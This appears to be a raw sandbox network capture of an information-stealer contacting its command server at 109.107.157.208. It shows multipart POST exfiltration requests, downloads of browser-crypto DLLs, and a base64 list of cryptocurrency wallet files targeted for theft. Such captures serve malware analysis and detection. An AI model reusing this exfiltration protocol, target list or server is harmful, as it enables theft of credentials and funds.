DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 24, 2024 13:27:01.090672016 CEST	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 24, 2024 13:27:01.090712070 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 13:27:03.023051023 CEST	203	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAK Host: 109.107.157.208 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 13:27:03.528985023 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:03.615027905 CEST	203	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 109.107.157.208 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 13:27:04.090919018 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:04.114969969 CEST	565	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 109.107.157.208 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="file"------DAEGIDHDHIDGIEBGIJEH--
Oct 24, 2024 13:27:04.610517979 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:05.322534084 CEST	565	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCF Host: 109.107.157.208 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file"------IJJJKEGHJKFHJKFHDHCF--
Oct 24, 2024 13:27:05.793135881 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:06.066067934 CEST	94	OUT	GET /74bc575e584e922c/freebl3.dll HTTP/1.1 Host: 109.107.157.208 Cache-Control: no-cache
Oct 24, 2024 13:27:06.284584045 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:06.520234108 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 24, 2024 13:27:07.282592058 CEST	94	OUT	GET /74bc575e584e922c/mozglue.dll HTTP/1.1 Host: 109.107.157.208 Cache-Control: no-cache
Oct 24, 2024 13:27:07.522856951 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 24, 2024 13:27:07.970205069 CEST	95	OUT	GET /74bc575e584e922c/msvcp140.dll HTTP/1.1 Host: 109.107.157.208 Cache-Control: no-cache
Oct 24, 2024 13:27:08.491580963 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 24, 2024 13:27:08.766470909 CEST	91	OUT	GET /74bc575e584e922c/nss3.dll HTTP/1.1 Host: 109.107.157.208 Cache-Control: no-cache
Oct 24, 2024 13:27:09.006513119 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 24, 2024 13:27:10.057766914 CEST	95	OUT	GET /74bc575e584e922c/softokn3.dll HTTP/1.1 Host: 109.107.157.208 Cache-Control: no-cache
Oct 24, 2024 13:27:10.311775923 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 24, 2024 13:27:10.451678038 CEST	99	OUT	GET /74bc575e584e922c/vcruntime140.dll HTTP/1.1 Host: 109.107.157.208 Cache-Control: no-cache
Oct 24, 2024 13:27:10.689249992 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 24, 2024 13:27:11.164681911 CEST	203	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDH Host: 109.107.157.208 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 13:27:11.601299047 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:11.664011955 CEST	469	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 109.107.157.208 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"wallets------EHDHIDAEHCFHJJJJECAA--
Oct 24, 2024 13:27:11.903892994 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 24, 2024 13:27:11.906438112 CEST	467	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE Host: 109.107.157.208 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="message"files------GCAFCAFHJJDBFIECFBKE--
Oct 24, 2024 13:27:12.159075022 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
